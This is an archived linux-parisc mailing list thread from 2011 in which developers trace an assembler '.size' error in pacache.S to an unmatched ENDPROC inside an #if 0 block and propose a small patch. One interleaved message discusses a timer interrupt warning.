arch/parisc/kernel/pacache.S:1071: Error: .size expression does not evaluate to a constant

pacache.S line 1071 ends procedure disable_sr_hashing_asm and does seem 
to do it in normal way and without typos.

        .procend
ENDPROC(disable_sr_hashing_asm)

        .end

This preprocesses to

 .procend
.size disable_sr_hashing_asm, .-disable_sr_hashing_asm

 .end

and this seems fully normal to me. Other functions assemble fine here 
but the last one in file.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sat, 12 Mar 2011 18:36:17 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <20110312233617.CA5D9500F@hiauly1.hia.nrc.ca>
References: <1299963592.5366.26.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1299972985 27904 80.91.229.12 (12 Mar 2011 23:36:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Mar 2011 23:36:25 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 00:36:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyYM8-00010S-MZ
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 00:36:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755369Ab1CLXgT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 18:36:19 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2265 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755053Ab1CLXgT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 18:36:19 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CA5D9500F; Sat, 12 Mar 2011 18:36:17 -0500 (EST)
In-Reply-To: <1299963592.5366.26.camel@mulgrave.site> from "James Bottomley" at Mar 12, 2011 02:59:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3487>

> 
> On Sat, 2011-03-12 at 12:08 -0500, John David Anglin wrote:
> > The attached change fixes the "SLOW!" timer_interrupt warning that I
> > occassionally see on my rp3440 (800 MHz).  We need to avoid using the
> > expensive div/mul method.  I have seen instances where it takes more
> > than 0x7000 cycles.
> 
> > Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> > 
> > Dave
> 
> Your change implies that more than 2^6 == 64 ticks (that's over half a
> second) can have elapsed between two calls to timer_interrupt().  That
> looks like an awfully large lacuna, and is like the cause of whatever
> problem you're seeing rather than the use of divide.  Parisc even has
> the DS instruction that would seem to make division not so expensive.

No, it's not ticks.  It's cycles.  One cycle is 1/800000000 of a second
on my rp3440, so another factor of two didn't seem that expensive.  I
think the change is ok even on a 75 MHz machine.

> How much more expensive is div than mul?  because if it's a lot more, we
> can use a logarithmic iteration to do the division.

I agree that there are probably better ways to do the caculation.  I'm
not sure of the exact numbers but div is always significantly more
expensive than multiplication.  The current code probably divides twice.

If one is willing to save a couple fp regs, 32-bit hardware multiplication
is available.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sat, 12 Mar 2011 19:03:24 -0500
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110313000323.GA17493@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1299974613 1654 80.91.229.12 (13 Mar 2011 00:03:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 00:03:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 01:03:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyYmN-0008Qr-Cy
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 01:03:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755218Ab1CMAD0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 19:03:26 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2284 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755105Ab1CMAD0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 19:03:26 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CB7145014; Sat, 12 Mar 2011 19:03:24 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3488>

On Sun, 13 Mar 2011, Meelis Roos wrote:

> This preprocesses to
> 
>  .procend
> .size disable_sr_hashing_asm, .-disable_sr_hashing_asm
> 
>  .end

It looks to me like someone may have removed the necessary whitespace before
.size in linkage.h.  It may now be necessary for parisc to define its own
version of END.  Don't think this has anything to do with binutils.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sun, 13 Mar 2011 02:38:07 +0200 (EET)
Lines: 23
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103130235020.7773@math.ut.ee>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1299976695 9949 80.91.229.12 (13 Mar 2011 00:38:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 00:38:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 01:38:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyZJy-0002o6-Ha
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 01:38:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756332Ab1CMAiJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 19:38:09 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:55946 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756344Ab1CMAiJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 19:38:09 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id EDD8073D58B;
	Sun, 13 Mar 2011 02:38:07 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 05B5EDAF81; Sun, 13 Mar 2011 02:38:07 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id EECD7DAF80;
	Sun, 13 Mar 2011 02:38:07 +0200 (EET)
In-Reply-To: <20110313000323.GA17493@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3489>

> > This preprocesses to
> > 
> >  .procend
> > .size disable_sr_hashing_asm, .-disable_sr_hashing_asm
> > 
> >  .end
> 
> It looks to me like someone may have removed the necessary whitespace before
> .size in linkage.h.  It may now be necessary for parisc to define its own
> version of END.  Don't think this has anything to do with binutils.

But the defines of ENDPROC and END in linkage.h are from 2006, commit 
ab7efcc9 from Jan Beulich. This has not changed, binutils has, thus my 
idea about binutils difference. However, I do not have the old binutils 
package easyly availbale right now so I can not test that today.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sat, 12 Mar 2011 20:28:48 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <20110313012849.D1A3A5014@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103130235020.7773@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1299979738 21245 80.91.229.12 (13 Mar 2011 01:28:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 01:28:58 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 02:28:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pya73-0008LQ-9p
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 02:28:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756311Ab1CMB2w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 20:28:52 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2326 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755385Ab1CMB2w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 20:28:52 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D1A3A5014; Sat, 12 Mar 2011 20:28:49 -0500 (EST)
In-Reply-To: <alpine.SOC.1.00.1103130235020.7773@math.ut.ee> from "Meelis Roos" at Mar 13, 2011 02:38:07 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3490>

> > > This preprocesses to
> > > 
> > >  .procend
> > > .size disable_sr_hashing_asm, .-disable_sr_hashing_asm
> > > 
> > >  .end
> > 
> > It looks to me like someone may have removed the necessary whitespace before
> > .size in linkage.h.  It may now be necessary for parisc to define its own
> > version of END.  Don't think this has anything to do with binutils.
> 
> But the defines of ENDPROC and END in linkage.h are from 2006, commit 
> ab7efcc9 from Jan Beulich. This has not changed, binutils has, thus my 
> idea about binutils difference. However, I do not have the old binutils 
> package easyly availbale right now so I can not test that today.

I have not seen the problem with 2.21.51.20110218.  .size is handled
by generic code.  I find it hard to believe that .-disable_sr_hashing_asm
doesn't evaluate to a constant.  GCC always outputs a similar directive.
It would seem like almost every assembly would be broken if the problem
was with binutils.

Could you send preprocessed assembler file?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sat, 12 Mar 2011 23:10:47 -0500
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20110313041046.GA19769@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103130235020.7773@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1299989457 23042 80.91.229.12 (13 Mar 2011 04:10:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 04:10:57 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 05:10:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pycdo-0002Q5-4O
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 05:10:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754398Ab1CMEKt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 23:10:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2404 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754388Ab1CMEKt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 23:10:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A88A35014; Sat, 12 Mar 2011 23:10:47 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <alpine.SOC.1.00.1103130235020.7773@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3491>

On Sun, 13 Mar 2011, Meelis Roos wrote:

> > > This preprocesses to
> > > 
> > >  .procend
> > > .size disable_sr_hashing_asm, .-disable_sr_hashing_asm
> > > 
> > >  .end
> > 
> > It looks to me like someone may have removed the necessary whitespace before
> > .size in linkage.h.  It may now be necessary for parisc to define its own
> > version of END.  Don't think this has anything to do with binutils.
> 
> But the defines of ENDPROC and END in linkage.h are from 2006, commit 
> ab7efcc9 from Jan Beulich. This has not changed, binutils has, thus my 
> idea about binutils difference. However, I do not have the old binutils 
> package easyly availbale right now so I can not test that today.

You are correct, there is a new error message for .size
http://sourceware.org/bugzilla/show_bug.cgi?id=12519
and the change was applied to the 2.21 branch.

The message was introduced because you can't size a function across
two sections.  It's not obvious why this is happening here.  So, I think
a binutils bug should be filed with preprocessed assembler.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sun, 13 Mar 2011 20:55:46 +0200 (EET)
Lines: 18
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103132055240.23183@math.ut.ee>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103130235020.7773@math.ut.ee> <20110313041046.GA19769@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300042553 21901 80.91.229.12 (13 Mar 2011 18:55:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 18:55:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 19:55:49 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyqSC-0002ls-VE
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 19:55:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754677Ab1CMSzs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 14:55:48 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:33169 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751184Ab1CMSzr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 14:55:47 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 382876E4CEE;
	Sun, 13 Mar 2011 20:55:46 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 30746DAF81; Sun, 13 Mar 2011 20:55:46 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 25304DAF80;
	Sun, 13 Mar 2011 20:55:46 +0200 (EET)
In-Reply-To: <20110313041046.GA19769@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3492>

> You are correct, there is a new error message for .size
> http://sourceware.org/bugzilla/show_bug.cgi?id=12519
> and the change was applied to the 2.21 branch.
> 
> The message was introduced because you can't size a function across
> two sections.  It's not obvious why this is happening here.  So, I think
> a binutils bug should be filed with preprocessed assembler.

http://sourceware.org/bugzilla/show_bug.cgi?id=12579 - also hase the 
preprocessed file.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sun, 13 Mar 2011 21:44:40 +0200 (EET)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103132139410.24035@math.ut.ee>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103130235020.7773@math.ut.ee> <20110313041046.GA19769@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300045492 3848 80.91.229.12 (13 Mar 2011 19:44:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 19:44:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 20:44:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyrDW-0003dN-NR
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 20:44:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755745Ab1CMTol (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 15:44:41 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:34827 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753886Ab1CMTol (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 15:44:41 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 55B1E73D482;
	Sun, 13 Mar 2011 21:44:40 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 47DA5DAF81; Sun, 13 Mar 2011 21:44:40 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 3DAD6DAF80;
	Sun, 13 Mar 2011 21:44:40 +0200 (EET)
In-Reply-To: <20110313041046.GA19769@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3493>

> > But the defines of ENDPROC and END in linkage.h are from 2006, commit 
> > ab7efcc9 from Jan Beulich. This has not changed, binutils has, thus my 
> > idea about binutils difference. However, I do not have the old binutils 
> > package easyly availbale right now so I can not test that today.
> 
> You are correct, there is a new error message for .size
> http://sourceware.org/bugzilla/show_bug.cgi?id=12519
> and the change was applied to the 2.21 branch.
> 
> The message was introduced because you can't size a function across
> two sections.  It's not obvious why this is happening here.  So, I think
> a binutils bug should be filed with preprocessed assembler.

Got an answer from binutils bugzilla - we have a problem with
ENDPROC(flush_alias_page)
that is not started because the start is #if 0 but end is not. I did not 
understand clearly what the code intends to do but it looks there are 
just two independent functions that should have their start and end 
matched. Made a test patch to try that out, makes it compile, will test 
boot soon.

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..f3d7da6 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -842,11 +842,10 @@ ENTRY(flush_alias_page)
 	.exit
 
 	.procend
+ENDPROC(flush_alias_page)
 #endif
 
-	.export flush_user_dcache_range_asm

From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sun, 13 Mar 2011 16:35:55 -0400
Organization: nrc.ca
Lines: 24
Approved: news@gmane.org
Message-ID: <20110313203554.GA22594@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103130235020.7773@math.ut.ee> <20110313041046.GA19769@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103132139410.24035@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300048564 19007 80.91.229.12 (13 Mar 2011 20:36:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 20:36:04 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 13 21:36:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pys19-0006Oo-8K
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Mar 2011 21:35:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755408Ab1CMUf6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 16:35:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2861 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755382Ab1CMUf6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 16:35:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D39204FDF; Sun, 13 Mar 2011 16:35:55 -0400 (EDT)
